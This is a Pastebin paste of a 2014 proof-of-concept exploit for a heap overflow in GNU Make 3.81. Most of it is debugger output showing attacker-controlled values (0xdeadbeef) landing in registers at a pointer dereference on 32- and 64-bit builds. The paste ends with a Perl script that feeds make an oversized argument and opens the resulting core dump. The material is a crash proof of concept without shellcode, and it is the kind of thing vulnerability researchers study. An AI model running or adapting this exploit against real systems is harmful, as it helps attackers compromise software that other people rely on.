Advertisement
Tr3v0r12345

Make 3.81 - Heap Overflow PoC

Aug 20th, 2014
519
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.82 KB | None | 0 0
  1. =for comment
  2. # Exploit Title: MAKE Heap Overflow - Pointer dereferencing POC (Calloc)-
  3. X86 X64
  4. # Date: [14.07.14]
  5. # Exploit Author: HyP
  6. # Vendor Homepage: http://www.gnu.org/software/make/
  7. # Software Link: http://ftp.gnu.org/gnu/make/
  8. # Version: Make 3.81
  9. # Tested on: linux32,64 bits (Fedora,Debian,ubuntu,Arch)
  10. # CVE : none
  11.  
  12. *******************************************************************************************
  13. Special Thanks:
  14.  
  15. kmkz
  16. Zadyree
  17. Sec0d Team
  18.  
  19. *******************************************************************************************
  20. *******************************************************************************************
  21. 32bits
  22.  
  23.  
  24. ./checksec.sh --file make
  25. RELRO STACK CANARY NX PIE RPATH
  26. RUNPATH FILE
  27. No RELRO No canary found NX enabled No PIE No RPATH
  28. No RUNPATH make
  29.  
  30.  
  31. gdb-peda$ r `perl -e 'print "A" x 4000 . "B"x96 . "\xef\xbe\xad\xde"x4'`
  32.  
  33.  
  34. Program received signal SIGSEGV, Segmentation fault.
  35. [----------------------------------registers-----------------------------------]
  36. ...
  37. EAX: 0xdeadbeef
  38. EBX: 0x807b971 --> 0x6f2e ('.o')
  39. ECX: 0x0
  40. EDX: 0x1
  41. ESI: 0xdeadbeef
  42. EDI: 0x0
  43. EBP: 0xbfffc5e8 --> 0xbfffc698 --> 0x8081de0 --> 0x0
  44. ESP: 0xbfffa310 --> 0xbfffb510 --> 0x6f2e ('.o')
  45. EIP: 0x80548b2 (mov eax,DWORD PTR [eax])
  46. EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction
  47. overflow)
  48. [-------------------------------------code-------------------------------------]
  49. 0x80548aa: je 0x80548b8
  50. 0x80548ac: lea esi,[esi+eiz*1+0x0]
  51. 0x80548b0: mov esi,eax
  52. => 0x80548b2: mov eax,DWORD PTR [eax] <------ Pointer Dereferencing
  53. 0x80548b4: test eax,eax
  54. 0x80548b6: jne 0x80548b0
  55. 0x80548b8: cmp DWORD PTR [ebp-0x1034],0x1
  56. 0x80548bf: mov DWORD PTR [ebp-0x10ac],edx
  57. [------------------------------------stack-------------------------------------]
  58. 0000| 0xbfffa310 --> 0xbfffb510 --> 0x6f2e ('.o')
  59. 0004| 0xbfffa314 --> 0x807b971 --> 0x6f2e ('.o')
  60. 0008| 0xbfffa318 --> 0x2
  61. 0012| 0xbfffa31c --> 0xb7ffadf8 ("symbol=%s; lookup in file=%s [%lu]\n")
  62. 0016| 0xbfffa320 --> 0x0
  63. 0020| 0xbfffa324 --> 0x0
  64. 0024| 0xbfffa328 --> 0x0
  65. 0028| 0xbfffa32c --> 0x0
  66. [------------------------------------------------------------------------------]
  67. Legend: code, data, rodata, value
  68. Stopped reason: SIGSEGV
  69. 0x080548b2 in ?? ()
  70.  
  71.  
  72. Overflow code:
  73. ...
  74. 80548aa: 74 0c je 80548b8 <calloc@plt+0xac38>
  75. 80548ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
  76. 80548b0: 89 c6 mov %eax,%esi
  77. 80548b2: 8b 00 mov (%eax),%eax
  78. 80548b4: 85 c0 test %eax,%eax
  79. 80548b6: 75 f8 jne 80548b0 <calloc@plt+0xac30>
  80. ...
  81.  
  82.  
  83. gdb-peda$ x/x $eax
  84. 0x807ff68: 0x00000000
  85.  
  86. peda vmmap
  87. Start End Perm Name
  88. 0x08048000 0x0806f000 r-xp /root/Desktop/RESEARCH/make_BoF/make
  89. 0x0806f000 0x08070000 rw-p /root/Desktop/RESEARCH/make_BoF/make
  90.  
  91. 0x08070000 0x08092000 rw-p [heap] // heap overflow !!
  92.  
  93.  
  94.  
  95. *******************************************************************************************
  96. *******************************************************************************************
  97. 64bits
  98.  
  99.  
  100. Overflow Code :
  101. 40cc59: 74 10 je 40cc6b <__ctype_b_loc@plt+0xa52b>
  102. 40cc5b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
  103. 40cc60: 48 89 c3 mov rbx,rax
  104. 40cc63: 48 8b 00 mov rax,QWORD PTR [rax] // heap overflow
  105.  
  106.  
  107. Program received signal SIGSEGV, Segmentation fault.
  108. [----------------------------------registers-----------------------------------]
  109. RAX: 0xdeadbeefdeadbeef
  110. RBX: 0xdeadbeefdeadbeef
  111. RCX: 0x4242424242424242 ('BBBBBBBB')
  112. RDX: 0x0
  113. RSI: 0x7fffffff97d0 ('A' <repeats 200 times>...)
  114. RDI: 0x7fffffffa7e2 --> 0x732e656c69666500 ('')
  115. RBP: 0x7fffffffb930 --> 0x1
  116. RSP: 0x7fffffff95f0 --> 0x0
  117. RIP: 0x40cc63 (mov rax,QWORD PTR [rax])
  118. R8 : 0x4242424242424242 ('BBBBBBBB')
  119. R9 : 0x7ffff7972440 (mov dx,WORD PTR [rsi-0x2])
  120. R10: 0x4242424242424242 ('BBBBBBBB')
  121. R11: 0x7ffff799f990 --> 0xfffd28d0fffd2708
  122. R12: 0x1
  123. R13: 0x0
  124. R14: 0x6397a0 --> 0x6f2e25 ('%.o')
  125. R15: 0x0
  126. EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction
  127. overflow)
  128. [-------------------------------------code-------------------------------------]
  129. 0x40cc59: je 0x40cc6b
  130. 0x40cc5b: nop DWORD PTR [rax+rax*1+0x0]
  131. 0x40cc60: mov rbx,rax
  132. => 0x40cc63: mov rax,QWORD PTR [rax] <----- Pointer dereferencing
  133. 0x40cc66: test rax,rax
  134. 0x40cc69: jne 0x40cc60
  135. 0x40cc6b: cmp DWORD PTR [rbp-0x105c],0x1
  136. 0x40cc72: lea rdi,[rbp-0x40]
  137. [------------------------------------stack-------------------------------------]
  138. 0000| 0x7fffffff95f0 --> 0x0
  139. 0008| 0x7fffffff95f8 --> 0x0
  140. 0016| 0x7fffffff9600 --> 0x0
  141. 0024| 0x7fffffff9608 --> 0x645e50 --> 0x646630 --> 0x64667b -->
  142. 0x5f7266006362696c ('libc')
  143. 0032| 0x7fffffff9610 --> 0xffffffdf
  144. 0040| 0x7fffffff9618 --> 0x645e58 --> 0x6462f0 --> 0x64a500 --> 0x64a541
  145. --> 0x5f726600656b616d ('make')
  146. 0048| 0x7fffffff9620 --> 0x7ffff7bd01f8 --> 0x645e50 --> 0x646630 -->
  147. 0x64667b --> 0x5f7266006362696c ('libc')
  148. 0056| 0x7fffffff9628 --> 0x0
  149. [------------------------------------------------------------------------------]
  150. Legend: code, data, rodata, value
  151. Stopped reason: SIGSEGV
  152. 0x000000000040cc63 in ?? ()
  153.  
  154.  
  155.  
  156. *******************************************************************************************
  157. *******************************************************************************************
  158. Proof of Concept - Source code
  159. *******************************************************************************************
  160. *******************************************************************************************
  161. =cut
  162.  
  163. #!/usr/bin/perl
  164.  
  165. use 5.010;
  166. use strict;
  167. use warnings;
  168. say "Please set ulimit value to 1000 before (ulimit -c 1000) ";
  169. sleep 0.5;
  170.  
  171.  
  172. my $buff = "A"x 4096 ;
  173. my $addr = "\xef\xbe\xad\xde";
  174. my $make = "./make";
  175. my $gdb = "gdb --core core";
  176. my $PAYLOAD= (`perl -e 'print "$buff" . "$addr" '`);
  177.  
  178. my $exec= qx($make $PAYLOAD);
  179.  
  180. say " Reading Core file GDB ";
  181. sleep 0.5;
  182.  
  183. system ($gdb);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement